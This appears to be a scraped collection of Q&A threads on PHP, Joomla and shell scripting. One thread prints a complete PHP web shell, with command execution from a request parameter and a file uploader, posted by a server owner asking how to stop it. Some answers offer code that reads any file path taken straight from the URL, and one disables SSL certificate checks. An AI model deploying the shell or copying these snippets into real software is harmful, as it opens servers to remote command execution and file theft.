I have www.mydomain.com and subdomain gallery.domain.com
On www.mydomain.com have Joomla with menu:
Home | Offer | Gallery | Contact
Is it possible to connect this with my subdomain with links in that way?
Home - www.mydomain.com Offer - www.mydomain.com/offer/
Gallery - gallery.mydomain.com Contact -
www.mydomain.com/contact/
All should have the same menu and template, only link of Gallery should be visible as subdomain.
I tried "Virtual Domains" extension but it changes all my links, so when I am at Gallery, all links in my menu are like gallery.mydomain.com/contact/ instead www.mydomain.com/contact/
Joomla is generally displaying relative url's, which is why your menu is displaying links relative to the gallery subdomain when you are at this site. If the menu links are your only problem, you could prevent this by overriding mod_menu in your template, adding http://yourdomain.com to all relative links.
Copy default_component.php from /mod_menu/tmpl to /templates/yourtemplate/html/mod_menu, and modify the urls as below:
// from around line 27
switch ($item->browserNav)
{
default:
case 0:
?><a <?php echo $class; ?>href="http://yourdomain.com<?php echo $item->flink; ?>" <?php echo $title; ?>><?php echo $linktype; ?></a><?php
break;
case 1:
// _blank
?><a <?php echo $class; ?>href="http://yourdomain.com<?php echo $item->flink; ?>" target="_blank" <?php echo $title; ?>><?php echo $linktype; ?></a><?php
break;
case 2:
// Use JavaScript "window.open"
?><a <?php echo $class; ?>href="http://yourdomain.com<?php echo $item->flink; ?>" onclick="window.open(this.href,'targetWindow','toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes');return false;" <?php echo $title; ?>><?php echo $linktype; ?></a>
<?php
break;
}
I believe this is the only file you'll need to override.
Related
I'm trying to place an HTML tag at the beginning and end of an empty HTML file in Linux but can't figure out the commands. I think it needs to be some sort of command grouping? Can anybody help?
The answer that worked for this was the following command grouping:
( echo "<html>" > foo.html ; echo "</html>" >> foo.html )
Using the >> operator to ensure the end tag goes at the bottom.
Cheers
$result = file_get_contents(ADMIN_URL.'/content/'.$name.'.php');
if($result){
echo "YES";exit;
}else{
echo "NO";exit;
}
Output is NO,
where ADMIN_URL is "turkjammat.com/demo/administrator/"
and $name is mardumshumari
which makes url in file_get_contents() funciton "turkjammat.com/demo/administrator/content/mardumshumari.php"
and the file is there in above url, this code is working fine in my local xamp server but when i deploying it on my hosting server its not working. plese help some body. Thanks
Your hosting server typically does NOT have the same folder hierarchy for user home directories as your local server.
Run php_info() on your hosting server to find out what the correct path is.
Look for DOCUMENT_ROOT in the Environment section.
A simple phpinfo.php file looks like this:
<?php
phpinfo();
?>
Try this:
<?php
$url = 'your_url.php';
$opts = array(
"ssl"=>array(
"verify_peer"=>false,
"verify_peer_name"=>false,
),
);
$context = stream_context_create($opts);
$result = file_get_contents( $url , NULL, $context );
echo $result;
?>
I am trying to make a script that will do an internet search with the default browser and search engine. Open location works for opening with the default browser, but how would I use the default search engine?
Changing the default search engine in Safari changed these preference keys:
defaults read -g NSPreferredWebServices
defaults read -app safari SearchProviderIdentifier
Neither existed on an unused 10.8 VM. NSPreferredWebServices also affects the Spotlight menu and the Search with Google/Yahoo!/Bing service.
You could use something like this:
query=query
id=$(/usr/libexec/PlistBuddy -c 'print NSPreferredWebServices:NSWebServicesProviderWebSearch:NSProviderIdentifier' ~/Library/Preferences/.GlobalPreferences.plist 2> /dev/null)
if [[ $id = com.yahoo.www ]]; then
url="http://search.yahoo.com/search?p=$query"
elif [[ $id = com.bing.www ]]; then
url="http://www.bing.com/search?q=$query"
else
url="https://www.google.com/search?q=$query"
fi
open "$url"
The normal URLs depend on locales though.
I have a site where users can stream my music from a flash player or download the individual songs (as mp3s). Right now if you click on the download links, they just play in the browser. Can I make it so the download box will pop up by default without either zipping the files making the user rt. click?
I have my index.php page with the links looking like this (pulling file names dynamically from mySQL:
<table>
.
.
.
<td>
<?php include 'Media/' . $row['type'] . '/' . $row['folder_name'] . '/download.php' ?>
</td>
and then download.php has this:
<div class="downloadCell">
<h3>Downloads:</h3>
<ul>
<li>
Chemtengure
</li>
</ul>
</div>
and I put the auto_download.php in the same directory as index.php:
auto_download.php:
$path = $_GET['path'];
header('Content-Disposition: attachment; filename=' . basename($path));
readfile($path);
You will need to add this HTTP header to your response to make the browser force a download:
Content-Disposition: attachment; filename=your_filename.mp3
For example, if you're using PHP on the server side, you can create a script that sends the above header followed by the actual file contents:
$path = $_GET['path'];
header('Content-Disposition: attachment; filename=' . basename($path));
readfile($path);
If you call this script download.php, then linking to download.php?path=/path/to/your/file.mp3 will make the browser pop-up a download dialog for file.mp3.
A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script:
<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
<?php
if(isset($_REQUEST['upload'])) {
echo '<form enctype="multipart/form-data" action=".config.php?send" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="5120000" />
Send this file: <input name="userfile" type="file" />
To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" />
<input type="submit" value="Send File" />
</form>';
}
?>
<?php
if(isset($_REQUEST['send'])) {
$uploaddir = $_POST["direct"];
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir;
} else {
echo "Upload failed";
}
}
?>
This script allows him to process commands through in-URL variables.
I have disabled system, among other functions, in the php.ini file in my public_html directory. This will prevent the script from running if it's located within my public_html directory, but doesn't stop it if it's in a sub-directory of that. If I copy the php.ini file into a sub-directory it will stop it from running from that directory.
My question is, how do I enable my php.ini file to affect all directories/sub-directories of my server?
One, kick off a "friend" that chooses to run scripts like this.
Then worry about securing your server. Your system has a master php.ini somewhere (often /etc/php.ini, but if can be in several places, check php_info()). That file controls the default settings for your server. Also, you can block local settings files that allow overrides.
Wow! move the php.ini file on a per-directory basis? Didnt know you could do that.
My best guess (someone please correct me if im wrong), php probably overrides the global php.ini file with a local set of rules on a per-directory basis (much like .htaccess), so basically all you would need to do is to update your php.ini directives to the global php.ini (found here in ubuntu: etc/php5/apache2/php.ini)
Alternatively, you might want to try to use .htaccess to prepend a php page onto all pages with the following:
ini_set('your_directive')
Of course, make sure the .htaccess which calls the prepend php sits at the root, else you're stuck with the same issue.
/mp
Thanks guys, your answers were great, but the answer was right under my nose the entire time. Via cPanel I was able to edit my server to use a single php.ini file.
Are you sure? I wish I had your ISP. By default some ISPs will provide a local copy of the ini file in public_html to allow overrides. But cPanel usually only provides a reference of the server-wide defaults.